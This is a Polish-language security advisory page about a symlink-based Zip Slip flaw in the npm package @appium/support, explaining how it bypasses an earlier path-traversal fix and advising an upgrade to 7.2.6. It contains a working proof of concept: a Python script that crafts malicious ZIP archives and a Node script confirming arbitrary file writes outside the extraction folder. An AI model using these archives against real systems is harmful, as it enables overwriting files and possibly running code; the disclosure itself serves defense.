Średnia

Appium: Podatność Zip Slip oparta na dowiązaniach symbolicznych w module rozpakowywania ZIP @appium/support

  • Ujawniono: 15.10.2026
  • Aktualizacja: 20.10.2026 08:34

Podsumowanie

CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) dotyczyło prostej podatności path traversal w nazwie wpisu. Sprawdzenie ścieżki tworzyło obiekt błędu bez jego zgłoszenia (throw), przez co wpis o nazwie dosłownie przypominającej ../evil.txt był zapisywany poza katalogiem docelowym. Problem ten naprawiono w @appium/support 7.0.6 poprzez właściwe odrzucanie nazw wpisów wykraczających poza wyznaczony katalog.

Niniejsze zgłoszenie dotyczy innego wektora, którego poprawka z 7.0.6 nie obejmuje. Nazwy wpisów archiwum są w tym przypadku całkowicie poprawne (na przykład pwn oraz pwn/owned.txt, brak ..), przez co wszelkie zabezpieczenia weryfikujące nazwy je akceptują. Ucieczka z katalogu następuje za pośrednictwem dowiązania symbolicznego (symlink). Jeden wpis to symlink wskazujący cel poza katalogiem rozpakowywania, a kolejny wpis to zwykły plik, którego ścieżka rozwiązuje się przez to dowiązanie. Weryfikacja leksykalna nazw wpisów nigdy nie bada celu dowiązania symbolicznego, a narzędzie rozpakowujące tworzy symlink z celem pobranym dosłownie z archiwum, co powoduje zapisanie pliku poza katalogiem docelowym.

Porównanie obu problemów na tej samej załatanej wersji 7.2.5:

CVE-2026-30973 To zgłoszenie
Wektor jeden wpis, którego nazwa zawiera .. wpis z dowiązaniem symbolicznym plus plik zapisywany przez nie
Nazwy wpisów zawierają .. (niedozwolone) prawidłowe, brak .. i nie są bezwzględne
Czego zabrakło sprawdzenie nazwy w .. nie zgłaszało błędu weryfikacja nazw nie rozwiązuje symlinków, a cel dowiązania nie jest sprawdzany
Wymagana liczba wpisów jeden dwa
Naprawiono w 7.0.6 tak nie
Status w 7.2.5 zablokowane nadal podatne (dowiedzione poniżej)

Szczegóły

Przyczyna źródłowa

Ekstraktor stosuje jedynie leksykalne sprawdzanie poprawności ścieżki dla nazwy każdego wpisu, a w przypadku dowiązania symbolicznego tworzy je z celem pobranym bezpośrednio z archiwum:

js
// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks
98       throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99   }
...
142  await fs.symlink(link, dest);                // link target comes verbatim from the archive

isSubPath porównuje znormalizowane ciągi znaków i nie wywołuje realpath, dlatego dla wpisu pliku pwn/owned.txt ścieżka docelowa dir/pwn/owned.txt znajduje się leksykalnie wewnątrz dir, co pozwala na przejście testu. Dzieje się tak pomimo tego, że dir/pwn to symlink utworzony przez poprzedni wpis i wskazujący na zewnątrz dir. Zapis podąża za tym dowiązaniem i wykracza poza katalog docelowy. Cel dowiązania symbolicznego nigdy nie jest weryfikowany pod kątem katalogu rozpakowywania.

PoC

<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />

build_zips.py

python
#!/usr/bin/env python3

import os, sys, zipfile, shutil

work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt"            # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
    z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")

# Test B: symlink entry whose target escapes, then a file through it 
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
    sl = zipfile.ZipInfo("pwn")
    sl.create_system = 3                       # unix, so external_attr carries the mode
    sl.external_attr = (0o120777 & 0xFFFF) << 16   # S_IFLNK | 0777
    z.writestr(sl, escapeB)                     # symlink target is the file body
    fi = zipfile.ZipInfo("pwn/owned.txt")
    fi.create_system = 3
    fi.external_attr = (0o100644 & 0xFFFF) << 16
    z.writestr(fi, "PWNED via symlink Zip Slip\n")

print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))

zipslip_poc.js

js
'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');

const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;

(async () => {
  const ver = require('@appium/support/package.json').version;
  console.log(`[*] @appium/support version: ${ver}`);
  console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);

  // Test A: the CVE-2026-30973 vector
  console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
  let aBlocked = false;
  try {
    await support.zip.extractAllTo(zipA, extractA);
  } catch (e) {
    aBlocked = true;
    console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
  }
  const aEscaped = fs.existsSync(escapeA);
  console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);

  // Test B: this finding, the symlink bypass 
  console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
  try {
    await support.zip.extractAllTo(zipB, extractB);
  } catch (e) {
    console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
  }
  const planted = path.join(escapeB, 'owned.txt');
  const bEscaped = fs.existsSync(planted);
  if (bEscaped) {
    console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
    console.log(`    wrote  : ${planted}`);
    console.log(`    content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
  } else {
    console.log('[-] symlink vector did not escape');
  }

  console.log('\n=== SUMMARY (same installed version) ===');
  console.log(`A  CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
  console.log(`B  symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
  process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
  console.error('ERROR', e);
  process.exit(3);
});
use

Wpływ

Atakujący mający kontrolę nad archiwum rozpakowywanym przez Appium może zapisywać pliki w dowolnych lokalizacjach z prawem do zapisu dla procesu Appium, ponieważ zapis podąża za dowiązaniem symbolicznym do dowolnego wskazanego celu. W zależności od środowiska uruchomieniowego Appium może to doprowadzić do nadpisania pliku konfiguracyjnego, umieszczenia skryptu w lokalizacji startowej lub profilu, bądź podmienienia pliku binarnego w ścieżce PATH, co może eskalować do wykonania dowolnego kodu. W środowiskach CI (Continuous Integration) lub farmach urządzeń dostępne ścieżki obejmują wszystko, do czego uprawnienia zapisu posiada konto usługi.

Co trzeba zrobić

Zaktualizuj pakiet @appium/support do wersji 7.2.6 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm @appium/support < 7.2.6 7.2.6

Odnośniki

Ocena CVSS 6.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Słabość (CWE)
CWE-59
Platforma
npm
Paczka
@appium/support
Ujawniono
15.10.2026
Aktualizacja
20.10.2026 08:34

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-qfxx-c367-67f8 - CC BY 4.0

Historia podatności: @appium/support

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
2
Pierwsza → ostatnia
03.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Średnia 2

Ujawnienia w latach

  1. 2026: 2
  1. Appium: Podatność Zip Slip oparta na dowiązaniach symbolicznych w module rozpakowywania ZIP @appium/support ten wpis
    Średnia · 6.5 CVE-2026-103975 < 7.2.6 7.2.6

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.